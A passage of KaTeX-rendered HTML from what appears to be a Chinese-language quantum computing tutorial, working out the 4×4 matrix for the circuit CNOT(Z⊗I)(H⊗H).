style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span></span></span><span class="mclose"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.65em;"><span class="pstrut" style="height:6.8em;"></span><span style="width:0.875em;height:4.8em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.875em" height="4.8em" viewBox="0 0 875 4800"><path d="M76,0c-16.7,0,-25,3,-25,9c0,2,2,6.3,6,13c21.3,28.7,42.3,60.3,63,95c96.7,156.7,172.8,332.5,228.5,527.5c55.7,195,92.8,416.5,111.5,664.5c11.3,139.3,17,290.7,17,454c0,28,1.7,43,3.3,45l0,1209c-3,4,-3.3,16.7,-3.3,38c0,162,-5.7,313.7,-17,455c-18.7,248,-55.8,469.3,-111.5,664c-55.7,194.7,-131.8,370.3,-228.5,527c-20.7,34.7,-41.7,66.3,-63,95c-2,3.3,-4,7,-6,11c0,7.3,5.7,11,17,11c0,0,11,0,11,0c9.3,0,14.3,-0.3,15,-1c5.3,-5.3,10.3,-11,15,-17c242.7,-294.7,395.3,-681.7,458,-1161c21.3,-164.7,33.3,-350.7,36,-558l0,-1344c-2,-159.3,-10,-310.7,-24,-454c-53.3,-528,-210,-949.7,-470,-1265c-4.7,-6,-9.7,-11.7,-15,-17c-0.7,-0.7,-6.7,-1,-18,-1z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span></span></span></span></span></span></span></p><p>第三部分是一個 CNOT Gate，因為他本來就是二元的 Gate 所以可以直接用。</p><p>所以我們可以計算總電路等價於：</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mtable rowspacing="0.25em" columnalign="right left" columnspacing="0em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mi>C</mi><mi>N</mi><mi>O</mi><mi>T</mi><mo stretchy="false">(</mo><mi>Z</mi><mo>⊗</mo><mi>I</mi><mo stretchy="false">)</mo><mo stretchy="false">(</mo><mi>H</mi><mo>⊗</mo><mi>H</mi><mo stretchy="false">)</mo></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mrow></mrow><mo>=</mo><mrow><mo fence="true">(</mo><mtable rowspacing="0.16em" columnalign="center center center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd></mtr></mtable><mo fence="true">)</mo></mrow><mrow><mo fence="true">(</mo><mtable rowspacing="0.16em" columnalign="center center center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd></mtr></mtable><mo fence="true">)</mo></mrow><mfrac><mn>1</mn><mn>2</mn></mfrac><mrow><mo fence="true">(</mo><mtable rowspacing="0.16em" columnalign="center center center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr></mtable><mo fence="true">)</mo></mrow></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mrow></mrow><mo>=</mo><mfrac><mn>1</mn><mn>2</mn></mfrac><mrow><mo fence="true">(</mo><mtable rowspacing="0.16em" columnalign="center center center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd></mtr></mtable><mo fence="true">)</mo></mrow></mrow></mstyle></mtd></mtr></mtable><annotation encoding="application/x-tex">\begin{aligned}CNOT(Z \otimes I)(H\otimes H) &amp; =\begin{pmatrix} 1 &amp; 0 &amp; 0 &amp; 0 \\ 0 &amp; 0 &amp; 0 &amp; 1 \\ 0 &amp; 0 &amp; 1 &amp; 0 \\ 0 &amp; 1 &amp; 0 &amp; 0 \end{pmatrix}\begin{pmatrix}1 &amp; 0 &amp; 0 &amp; 0 \\0 &amp; 1 &amp; 0 &amp; 0 \\0 &amp; 0 &amp; -1 &amp; 0 \\0 &amp; 0 &amp; 0 &amp; -1\end{pmatrix}\frac{1}{2}\begin{pmatrix}1 &amp; 1 &amp; 1 &amp; 1 \\1 &amp; -1 &amp; 1 &amp; -1 \\1 &amp; 1 &amp; -1 &amp; -1 \\1 &amp; -1 &amp; -1 &amp; 1\end{pmatrix}\\&amp; =\frac{1}{2}\begin{pmatrix}1 &amp; 1 &amp; 1 &amp; 1 \\-1 &amp; 1 &amp; 1 &amp; -1 \\-1 &amp; -1 &amp; 1 &amp; 1 \\1 &amp; -1 &amp; 1 &amp; -1\end{pmatrix}\end{aligned}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:9.9001em;vertical-align:-4.7em;"></span><span class="mord"><span class="mtable"><span class="col-align-r"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:5.2em;"><span style="top:-7.2em;"><span class="pstrut" style="height:4.65em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0715em;">C</span><span class="mord mathnormal" style="margin-right:0.109em;">N</span><span class="mord mathnormal" style="margin-right:0.0278em;">O</span><span class="mord mathnormal" style="margin-right:0.1389em;">T</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.0715em;">Z</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⊗</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal" style="margin-right:0.0785em;">I</span><span class="mclose">)</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.0813em;">H</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⊗</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal" style="margin-right:0.0813em;">H</span><span class="mclose">)</span></span></span><span style="top:-2.1em;"><span class="pstrut" style="height:4.65em;"></span><span class="mord"></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:4.7em;"><span></span></span></span></span></span><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:5.2em;"><span style="top:-7.2em;"><span class="pstrut" style="height:4.65em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="minner"><span class="mopen"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.65em;"><span class="pstrut" style="height:6.8em;"></span><span style="width:0.875em;height:4.8em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.875em" height="4.8em" viewBox="0 0 875 4800"><path d="M863,9c0,-2,-2,-5,-6,-9c0,0,-17,0,-17,0c-12.7,0,-19.3,0.3,-20,1c-5.3,5.3,-10.3,11,-15,17c-242.7,294.7,-395.3,682,-458,1162c-21.3,163.3,-33.3,349,-36,557 l0,1284c0.2,6,0,26,0,60c2,159.3,10,310.7,24,454c53.3,528,210,949.7,470,1265c4.7,6,9.7,11.7,15,17c0.7,0.7,7,1,19,1c0,0,18,0,18,0c4,-4,6,-7,6,-9c0,-2.7,-3.3,-8.7,-10,-18c-135.3,-192.7,-235.5,-414.3,-300.5,-665c-65,-250.7,-102.5,-544.7,-112.5,-882c-2,-104,-3,-167,-3,-189l0,-1292c0,-162.7,5.7,-314,17,-454c20.7,-272,63.7,-513,129,-723c65.3,-210,155.3,-396.3,270,-559c6.7,-9.3,10,-15.3,10,-18z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span></span></span><span class="mclose"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.65em;"><span class="pstrut" style="height:6.8em;"></span><span style="width:0.875em;height:4.8em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.875em" height="4.8em" viewBox="0 0 875 4800"><path d="M76,0c-16.7,0,-25,3,-25,9c0,2,2,6.3,6,13c21.3,28.7,42.3,60.3,63,95c96.7,156.7,172.8,332.5,228.5,527.5c55.7,195,92.8,416.5,111.5,664.5c11.3,139.3,17,290.7,17,454c0,28,1.7,43,3.3,45l0,1209c-3,4,-3.3,16.7,-3.3,38c0,162,-5.7,313.7,-17,455c-18.7,248,-55.8,469.3,-111.5,664c-55.7,194.7,-131.8,370.3,-228.5,527c-20.7,34.7,-41.7,66.3,-63,95c-2,3.3,-4,7,-6,11c0,7.3,5.7,11,17,11c0,0,11,0,11,0c9.3,0,14.3,-0.3,15,-1c5.3,-5.3,10.3,-11,15,-17c242.7,-294.7,395.3,-681.7,458,-1161c21.3,-164.7,33.3,-350.7,36,-558l0,-1344c-2,-159.3,-10,-310.7,-24,-454c-53.3,-528,-210,-949.7,-470,-1265c-4.7,-6,-9.7,-11.7,-15,-17c-0.7,-0.7,-6.7,-1,-18,-1z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.65em;"><span class="pstrut" style="height:6.8em;"></span><span style="width:0.875em;height:4.8em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.875em" height="4.8em" viewBox="0 0 875 4800"><path d="M863,9c0,-2,-2,-5,-6,-9c0,0,-17,0,-17,0c-12.7,0,-19.3,0.3,-20,1c-5.3,5.3,-10.3,11,-15,17c-242.7,294.7,-395.3,682,-458,1162c-21.3,163.3,-33.3,349,-36,557 l0,1284c0.2,6,0,26,0,60c2,159.3,10,310.7,24,454c53.3,528,210,949.7,470,1265c4.7,6,9.7,11.7,15,17c0.7,0.7,7,1,19,1c0,0,18,0,18,0c4,-4,6,-7,6,-9c0,-2.7,-3.3,-8.7,-10,-18c-135.3,-192.7,-235.5,-414.3,-300.5,-665c-65,-250.7,-102.5,-544.7,-112.5,-882c-2,-104,-3,-167,-3,-189l0,-1292c0,-162.7,5.7,-314,17,-454c20.7,-272,63.7,-513,129,-723c65.3,-210,155.3,-396.3,270,-559c6.7,-9.3,10,-15.3,10,-18z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span></span></span><span class="mclose"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.65em;"><span class="pstrut" style="height:6.8em;"></span><span style="width:0.875em;height:4.8em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.875em" height="4.8em" viewBox="0 0 875 4800"><path d="M76,0c-16.7,0,-25,3,-25,9c0,2,2,6.3,6,13c21.3,28.7,42.3,60.3,63,95c96.7,156.7,172.8,332.5,228.5,527.5c55.7,195,92.8,416.5,111.5,664.5c11.3,139.3,17,290.7,17,454c0,28,1.7,43,3.3,45l0,1209c-3,4,-3.3,16.7,-3.3,38c0,162,-5.7,313.7,-17,455c-18.7,248,-55.8,469.3,-111.5,664c-55.7,194.7,-131.8,370.3,-228.5,527c-20.7,34.7,-41.7,66.3,-63,95c-2,3.3,-4,7,-6,11c0,7.3,5.7,11,17,11c0,0,11,0,11,0c9.3,0,14.3,-0.3,15,-1c5.3,-5.3,10.3,-11,15,-17c242.7,-294.7,395.3,-681.7,458,-1161c21.3,-164.7,33.3,-350.7,36,-558l0,-1344c-2,-159.3,-10,-310.7,-24,-454c-53.3,-528,-210,-949.7,-470,-1265c-4.7,-6,-9.7,-11.7,-15,-17c-0.7,-0.7,-6.7,-1,-18,-1z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.65em;"><span class="pstrut" style="height:6.8em;"></span><span style="width:0.875em;height:4.8em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.875em" height="4.8em" viewBox="0 0 875 4800"><path d="M863,9c0,-2,-2,-5,-6,-9c0,0,-17,0,-17,0c-12.7,0,-19.3,0.3,-20,1c-5.3,5.3,-10.3,11,-15,17c-242.7,294.7,-395.3,682,-458,1162c-21.3,163.3,-33.3,349,-36,557 l0,1284c0.2,6,0,26,0,60c2,159.3,10,310.7,24,454c53.3,528,210,949.7,470,1265c4.7,6,9.7,11.7,15,17c0.7,0.7,7,1,19,1c0,0,18,0,18,0c4,-4,6,-7,6,-9c0,-2.7,-3.3,-8.7,-10,-18c-135.3,-192.7,-235.5,-414.3,-300.5,-665c-65,-250.7,-102.5,-544.7,-112.5,-882c-2,-104,-3,-167,-3,-189l0,-1292c0,-162.7,5.7,-314,17,-454c20.7,-272,63.7,-513,129,-723c65.3,-210,155.3,-396.3,270,-559c6.7,-9.3,10,-15.3,10,-18z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span><span 